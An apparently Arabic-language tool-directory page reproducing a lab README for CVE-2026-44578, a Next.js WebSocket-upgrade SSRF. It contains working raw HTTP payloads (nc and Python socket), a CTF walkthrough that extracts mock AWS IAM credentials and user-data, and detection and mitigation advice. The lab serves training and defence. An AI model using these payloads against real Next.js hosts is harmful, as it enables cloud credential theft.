Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقأمن السحابةمختبرات وتدريب عملي
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

هذا المختبر قد يكون جيدًا أو سيئًا، لكنه قيد الاختبار ويجب أن يعمل، اسأل الذكاء الاصطناعي ههههه

عرض المستودع
منذ 11س 46دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (مختبر)

مختبر مستقل لإعادة إنتاج الثغرة الأمنية CVE-2026-44578 (CWE-918، SSRF) في تطبيقات Next.js ذات الاستضافة الذاتية التي تستخدم خادم Node.js المدمج.

الحقلالقيمة
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
النوعSSRF (CWE-918)
الإصدارات المتأثرةNext.js 13.4.13 – 15.5.15 و 16.0.0 – 16.2.4
الإصدارات المُصححة15.5.16 و 16.2.5
المصادقةلا شيء
تفاعل المستخدملا شيء

طوبولوجيا المختبر

root@kitploit:~
المهاجم (host: 0.0.0.0)
    │  HTTP :3000 (عام)
    ▼
┌──────────────────────────┐  نفس مساحة الشبكة  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (بيانات الاعتماد،    │
│ (خادم Node المدمج)       │                           │  user-data، الفهرس) │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (المنفذ 3000): التطبيق الضعيف، مكشوف على 0.0.0.0:3000.
  • imds-sidecar: محاكاة لخدمة بيانات AWS الوصفية التي تعيش على localhost:80 داخل مساحة حاوية Next.js، لمحاكاة مثيل حقيقي في السحابة. لا يمكن الوصول إليه من المضيف مباشرة (لا يوجد منفذ منشور).
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC آلي (5 فحوصات)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + مسارات سرية
                        └── nextjs-app/             # تطبيق واقعي "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # شريط التنقل/التذييل
                            │   ├── page.js         # الصفحة الرئيسية
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (ضعيف)

لماذا هو ضعيف

معالج ترقية WebSocket في router-server.ts يستدعي proxyRequest() عندما يحتوي URI المُحلَّل على parsedUrl.protocol، دون التحقق من علامتي finished و statusCode اللتين كان معالج HTTP العادي يصدرهما دائمًا:

root@kitploit:~
  // ضعيف (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // التصحيح (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

مسار الهجوم يستخدم سطر طلب مع URI مطلق بشرطتين مائلتين: GET http:///path. normalizeRepeatedSlashes يدمج http:/// إلى http:/، فيبقى بدون اسم مضيف، ثم يتصل http-proxy بـ localhost:80 مع المسار كما هو:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

وجود ترويسات Connection: Upgrade + Upgrade: websocket يجعل الطلب يقع في معالج الترقية الضعيف بدلاً من معالج HTTP الذي يحتوي على فحوصات الأمان.

تشغيل المختبر

root@kitploit:~
docker compose up -d --build

التحقق من استجابة التطبيق:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

لجعله يعمل على 0.0.0.0، فإن تعيين المنافذ في docker-compose.yml يكشف بالفعل 3000:3000 على جميع الواجهات.

الاستغلال اليدوي

1. باستخدام netcat (nc)

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. باستخدام Python خالص (stdlib، بدون تبعيات)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. باستخدام الـ PoC الآلي

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — الالتقاط اليدوي للعلم النهائي

تدفق كامل يدوي 100%، في 4 مراحل. هناك 4 أعلام مخفية في الخدمة الداخلية (localhost:80)؛ هذا الدليل يعرض التدفق حتى الأول ويترك لك المسارات للعثور على الباقي.

المرحلة 1 — الاستطلاع

root@kitploit:~
# بصمة الخادم
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# المنافذ المفتوحة عبر socket (بدون nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

لا يوجد وصول مباشر إلى 127.0.0.1:80 من المهاجم: المتجه الوحيد هو جعل خادم Next.js (الذي يعيش بالفعل على نفس شبكة الخدمة الداخلية) يطلب نيابة عنا.

المرحلة 2 — تعداد خدمة البيانات الوصفية عبر SSRF

أولاً نؤكد SSRF بالسؤال عن فهرس خدمة البيانات الوصفية:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

استجابة الفهرس ← المرشحون: instance-id، hostname، iam/security-credentials/، user-data (العلم الأول). فهرس latest/meta-data/ يكشف أيضًا مفاتيح فرعية تستحق المزيد من الاستكشاف.

المرحلة 3 — بناء الحمولة (بايت ببايت)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
الجزءالوظيفة
GETالثغرة توكّل GET فقط
http:///latest/user-dataURI مطلق. http:/// ينهار إلى http:/ ← اسم مضيف فارغ ← الوكيل يتصل بـ localhost:80 محافظًا على المسار /latest/user-data
Host: 127.0.0.1:3000وإلا يستجيب الخادم بـ 400
Connection: Upgrade + Upgrade: websocketيحوّلان الطلب إلى معالج الترقية الضعيف (معالج HTTP العادي يتحقق بالفعل)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==ترويسات الحد الأدنى المطلوبة في مصافحة شرعية

الإنهاء: \r\n\r\n على الـ socket الخام (بدون جسم).

المرحلة 4 — الإطلاق اليدوي والتقاط العلم

root@kitploit:~
# الخيار A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# الخيار B: socket خام في Python (نفس الدقة، بدون nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

المخرجات — العلم الأول يصل في جسم استجابة الخدمة الداخلية:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

تم الحصول على العلم 1/4. ترويسة server: BaseHTTP/0.6 ... (محاكاة Python) تؤكد أن الطلب سافر مهاجم → Next.js → localhost:80، أي أن العلم تم تسريبه من الشبكة الداخلية عبر SSRF. الأعلام الثلاثة الأخرى موزعة على مسارات خدمة البيانات الوصفية والخدمة الداخلية — فهرس latest/meta-data/ هو خريطتك. ابحث عن الباقي.

النقاط المكشوفة في المختبر

محاكاة IMDS (localhost:80) تمثل خدمة بيانات AWS الوصفية الحقيقية: إنها شجرة قابلة للتصفح. كل دليل (ينتهي بـ /) يستجيب بفهرس مساراته الفرعية؛ طلب دليل بدون / يعيد توجيه 301. لا توجد مسارات مخفية: لا يتطلب أي علم تخمينًا — كل شيء يُكتشف بتصفح الفهارس.

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → سكربت الإقلاع (يشير إلى internal/config)
المسارالمحتوى
latest/meta-data/فهرس البيانات الوصفية (أعلاه)
latest/meta-data/iam/security-credentials/الدور lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleJSON مع AccessKeyId و SecretAccessKey و Token
latest/user-dataسكربت إقلاع مع بيانات اعتماد قاعدة البيانات
latest/dynamic/instance-identity/documentJSON لهوية المثيل
internal/configإعداد خدمة داخلية (DB، مفتاح API) — مشار إليه بواسطة user-data

تحدي CTF: هناك 4 أعلام، وكل واحد هو أثر حقيقي في سلسلة استغلال SSRF ضد AWS: (1) user-data للإقلاع، (2) بيانات اعتماد IAM، (3) مستند الهوية، (4) إعداد خدمة داخلية. قيمها غير منشورة. تصفح الفهارس (/ → latest/ → …) وستتابع من لافتة إلى لافتة؛ سكربت user-data يخبرك أين يعيش الرابع. لا حاجة لتخمين المسارات: 404 فقط يكشف أنك تخترع مسارًا غير موجود.

دليل الحل (تلميحات تدريجية)

النسخة الكاملة مع سلسلة علم→علم في مستندها الخاص: SOLUCION.md (كل علم يعطيك تلميح التالي، خارج هذا README).

القاعدة: لكل علم تلميح، عائق وحل. حاول أولاً بالتلميح؛ استخدم العائق عندما تتعثر. لا توجد مسارات مخفية: لا أحد يخدع، كل شيء يُتصفح.

تحذيران قبل البدء:

  1. المساعد ssrf() جاهز بالفعل في SOLUCION.md → التحضير: انسخه واستخدمه لبقية الدليل. يرسل طلب GET http:///<path> مع Connection: Upgrade + Upgrade: websocket.
  2. الأعلام تُرسل مشفرة بـ base64. في الاستجابات سترى كتلًا RkxBR3… (base64 لـ FLAG{…}). فك تشفيرها: echo <blob> | base64 -d.

العلم 1 — user-data (الأسهل)

  • التلميح: ماذا يُرجع GET إلى /latest/user-data؟ إنه أول ما يفحصه أي مهاجم في AWS.
  • العائق 1 (فهارس 301): المجلدات تُدرج بـ / في النهاية. ssrf latest/meta-data يعطيك 301 Moved Permanently و Location: latest/meta-data/. = "اتبعني". مع nc لا يوجد متابعة تلقائية: كرر الطلب مع الشرطة المائلة.
  • الحل:
root@kitploit:~
ssrf latest/user-data

في الجسم: سكربت الإقلاع مع DB_PASS=… (العلم 1 موجود هناك)، وسطر curl -s http://internal/config وهو خريطة العلم 4.

العلم 2 — بيانات اعتماد IAM

  • التلميح: تصفح latest/meta-data/iam/security-credentials/ واطلب الدور الذي يظهر.
  • العائق 2 (Token ليس حشوًا): الـ 200 يجلب JSON طويلًا. AccessKeyId/SecretAccessKey يقفزان للعين؛ العلم 2 ليس هناك: حقل Token هو سلسلة base64 واحدة. فك تشفيرها.
  • الحل:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

العلم 3 — مستند الهوية

  • التلميح: latest/meta-data/ ليست الشجرة الوحيدة. انظر إلى الفهرس الجذري: هناك dynamic/ لا يفتحه أحد تقريبًا.
  • العائق (إعادة توجيه متسلسلة): dynamic/ → instance-identity/ → document. ثلاث درجات؛ في كل واحدة يجب أن ينتهي ssrf الخاص بك بـ / (باستثناء document). يضيع الناس لعدم إعادة الطلب بعد 301.
  • الحل:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

JSON الهوية يتضمن مفتاح FLAG مع العلم 3 (في base64). إذا أعادت سلسلة أوامرك 301 في الدرجة الثانية، تذكر درس العائق 1.

العلم 4 — إعداد خدمة داخلية

  • التلميح: العلم 1 (user-data) اعترف بالعنوان: curl -s http://internal/config.
  • العائق (ما هو "internal"؟): من المهاجم internal لا يُحل. "internal" هو اسم مستعار من جانب الخادم، ليس من جانبك. لا تغير المضيف: SSRF يهبط دائمًا على localhost:80؛ تختار فقط المسار.
  • الحل:
root@kitploit:~
ssrf internal/config

التحقق من الأربعة (blob base64 → مفكوك):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 أعلام في اليد. إذا لم يخرج لك أحدها FLAG{...}، فأنت تعرف: راجع curl الخاص بـ user-data (عائق العلم 4) أو / الفهارس (عائق العلم 1).

استخدام يدوي، على سبيل المثال بيانات اعتماد IAM:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

النتيجة المتوقعة — الاستجابة تصل مع server: BaseHTTP/0.6 Python/3.12.x (المحاكاة)، وليس مع لافتة Next.js، مما يثبت أن الطلب تم بواسطة الخادم نحو localhost:80:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

نتيجة الـ PoC

الـ PoC يتحقق من SSRF لكنه يرقّب الأعلام: كتل base64 الخاصة بـ FLAG{...} و FLAG{...} الصريحة تُعرض كنص مرقّب. القيم لا تُحصل إلا بالاستكشاف اليدوي (قسم CTF أعلاه).

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (علم مشفر: استغلال يدوي) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (علم مشفر: استغلال يدوي) ***

قيود الثغرة

  • GET فقط (لا POST/PUT).
  • المنفذ 80 فقط (اسم المضيف يُفقد في تطبيع http:///).
  • IMDSv2 غير قابل للاستغلال (يتطلب PUT للرمز).
  • بيانات GCP الوصفية غير قابلة للاستغلال (ترفض Upgrade: websocket بـ 400).
  • المستضاف على Vercel غير متأثر.
  • خلف وكيل عكسي (nginx/Caddy/HAProxy) عادةً ما تُحظر URIs المطلقة.

التحقق من "التصحيح"

لتأكيد أن التصحيح (Next.js ≥ 15.5.16) يمنع الهجوم، غيّر الإصدار في nextjs-app/package.json إلى 15.5.16، أعد البناء وأعد تنفيذ نفس الحمولة: سيُغلق الاتصال دون إرجاع بيانات.

الكشف

توقيعات في سجلات عملية Next.js:

  • Failed to proxy http:/ — الوكيل انطلق لكن الوجهة كانت غير قابلة للوصول.
  • طلبات يحتوي سطر طلبها على URI مطلق مع http: بجانب ترويسات Connection: Upgrade / Upgrade: websocket.

التخفيف

  • التحديث إلى 15.5.16 / 16.2.5 أو أحدث.
  • إذا تعذر التحديث: حظر ترقيات WebSocket في الوكيل العكسي وتطبيق IMDSv2 (HttpTokens=required) في AWS.
  • مثال nginx لرفض URIs المطلقة:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

المراجع

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Commit الإصلاح: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
تنزيل الأداة